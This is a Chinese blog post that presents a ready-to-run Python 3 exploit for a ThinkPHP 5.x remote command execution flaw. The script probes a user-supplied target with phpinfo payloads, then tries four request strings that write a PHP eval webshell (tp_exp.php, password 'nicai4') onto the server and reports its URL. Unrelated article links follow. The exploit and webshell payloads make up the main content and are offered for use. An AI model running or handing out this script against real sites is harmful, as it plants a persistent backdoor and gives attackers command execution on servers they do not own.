python3编写ThinkPHP命令执行Getshell的方法


Posted in Python onFebruary 26, 2019

加了三个验证漏洞以及四个getshell方法

# /usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: Morker
# @Email: [email]admin@nsf.me[/email]
# @Blog:  [url]http://nsf.me/[/url]
 
import requests
import sys
 
def demo():
  print(' _______ _   _    _  _____ _  _ _____ ')
  print(' |__  __| |  (_)   | | | __ \| | | | __ \ ')
  print('  | | | |__ _ _ __ | | _| |__) | |__| | |__) |')
  print('''  | | | '_ \| | '_ \| |/ / ___/| __ | ___/ ''')
  print('  | | | | | | | | | |  <| |  | | | | |   ')
  print('  |_| |_| |_|_|_| |_|_|\_\_|  |_| |_|_|   ')
  print()
  print('\tThinkPHP 5.x (v5.0.23 and v5.1.31 following version).')
  print('\tRemote command execution exploit.')
  print('\tVulnerability verification and getshell.')
  print('\tTarget: http://target/public')
  print()
class ThinkPHP():
  def __init__(self,web):
    self.web = web
    self.headers = {
    "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0",
    "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding" : "gzip, deflate",
    "Content-Type" : "application/x-www-form-urlencoded",
    "Connection" : "keep-alive"
    }
 
  def verification(self):
    i = 0
    s = 0
    verifications = ['/?s=index/\\think\Request/input&filter=phpinfo&data=1','/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1','/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1']
    while True:
      if i == len(verifications):
        break
      else:
        url = self.web + verifications[i]
        req = requests.get(url=url,headers=self.headers)
        if 'phpinfo()' in req.text:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] There are vulnerabilities.")
      print()
      toshell = input("[*] Getshell? (y/n):")
      if toshell == 'y':
        self.getshell()
      elif toshell == 'n':
        sys.exit()
      else:
        sys.exit()
    else:
      print("[-] There are no vulnerabilities.")
 
  def getshell(self):
    getshells = [
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=tp_exp.php&vars[1][]=<?php @eval($_POST[nicai4]); ?>',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20%27<?php%20@eval($_POST[nicai4]);%20?>%27%20>>%20tp_exp.php',
    '?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^<?php%20@eval($_POST[nicai4]);%20?^>%20>>tp_exp.php',
    '?s=index/\\think\\template\driver\\file/write&cacheFile=tp_exp.php&content=<?php%20eval($_POST[nicai4]);?>']
    shell = self.web + '/tp_exp.php'
    i = 0
    s = 0
    while True:
      if i == len(getshells):
        break
      else:
        url = self.web + getshells[i]
        req = requests.get(url=url,headers=self.headers)
        req_shell = requests.get(url=shell,headers=self.headers)
        if req_shell.status_code == 200:
          s = 1
          break
        else:
          s = 0
        i += 1
    if s == 1:
      print("[+] WebShell :%s PassWord :nicai4" % shell)
    else:
      print("[-] The vulnerability does not exist or exists waf.")
 
def main():
  demo()
  url = input("[*] Please input your target: ")
  run = ThinkPHP(url)
  run.verification()
 
if __name__ == '__main__':
  main()

注:图中的测试网址为在线漏洞环境,可自己去在线搭建测试。

环境地址:https://www.vsplate.com/

效果图:

python3编写ThinkPHP命令执行Getshell的方法

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python线程详解
Jun 24 Python
在CentOS6上安装Python2.7的解决方法
Jan 09 Python
python数字图像处理之高级形态学处理
Apr 27 Python
python 地图经纬度转换、纠偏的实例代码
Aug 06 Python
python_opencv用线段画封闭矩形的实例
Dec 05 Python
python调用matlab的m自定义函数方法
Feb 18 Python
pymongo中聚合查询的使用方法
Mar 22 Python
Pytorch中的variable, tensor与numpy相互转化的方法
Oct 10 Python
Python爬虫之urllib基础用法教程
Oct 12 Python
Python爬虫解析网页的4种方式实例及原理解析
Dec 30 Python
Python开发企业微信机器人每天定时发消息实例
Mar 17 Python
Python使用UDP实现720p视频传输的操作
Apr 24 Python
初探利用Python进行图文识别(OCR)
Feb 26 #Python
Python编写合并字典并实现敏感目录的小脚本
Feb 26 #Python
Python实现监控Nginx配置文件的不同并发送邮件报警功能示例
Feb 26 #Python
利用python实现对web服务器的目录探测的方法
Feb 26 #Python
python selenium 弹出框处理的实现
Feb 26 #Python
python实现学员管理系统
Feb 26 #Python
python实现电子产品商店
Feb 26 #Python
You might like
AMFPHP php远程调用(RPC, Remote Procedure Call)工具 快速入门教程
2010/05/10 PHP
发布一个高效的JavaScript分析、压缩工具 JavaScript Analyser
2007/11/30 Javascript
javascript 使td内容不换行不撑开
2012/11/29 Javascript
深入理解javaScript中的事件驱动
2013/05/21 Javascript
简单时间提示DEMO从0开始一直进行计时
2013/11/19 Javascript
jQuery 顶部导航跟随滚动条滚动固定浮动在顶部
2014/06/06 Javascript
JS中使用sort结合localeCompare实现中文排序实例
2014/07/23 Javascript
ECMAScript6中Map/WeakMap详解
2015/06/12 Javascript
jquery实现模拟百分比进度条渐变效果代码
2015/10/29 Javascript
两种方法解决javascript url post 特殊字符转义 + &amp; #
2016/04/13 Javascript
JavaScript判断用户名和密码不能为空的实现代码
2016/05/16 Javascript
JavaScript仿flash遮罩动画效果
2016/06/15 Javascript
原生JS:Date对象全面解析
2016/09/06 Javascript
js仿京东轮播效果 选项卡套选项卡使用
2017/01/12 Javascript
原生JS和jQuery操作DOM对比总结
2017/01/19 Javascript
angular2 ng2 @input和@output理解及示例
2017/10/10 Javascript
微信小程序云开发之使用云数据库
2019/05/17 Javascript
Vue移动端项目实现使用手机预览调试操作
2020/07/18 Javascript
JS中的变量作用域(console版)
2020/07/18 Javascript
[51:17]VGJ.T vs Mineski 2018国际邀请赛小组赛BO2 第二场 8.18
2018/08/19 DOTA
Python MySQLdb 使用utf-8 编码插入中文数据问题
2018/03/13 Python
Python日期时间Time模块实例详解
2019/04/15 Python
python笔记_将循环内容在一行输出的方法
2019/08/08 Python
HTML5+CSS3实例 :canvas 模拟实现电子彩票刮刮乐代码
2016/12/30 HTML / CSS
利用CSS3的3D效果制作正方体
2020/03/10 HTML / CSS
写自荐信的七个技巧
2013/10/15 职场文书
高一英语教学反思
2014/01/22 职场文书
《雾凇》教学反思
2014/02/17 职场文书
乡镇总工会学雷锋活动总结
2014/03/01 职场文书
活动总结范文
2014/08/30 职场文书
邓小平理论心得体会
2014/09/09 职场文书
晋江市人民政府党组群众路线教育实践活动整改方案
2014/10/25 职场文书
建国大业电影观后感
2015/06/01 职场文书
党支部对转正的意见
2015/06/02 职场文书
vue+springboot实现登录验证码
2021/05/27 Vue.js
Win11怎么进入安全模式?Windows 11进入安全模式的方法
2021/11/21 数码科技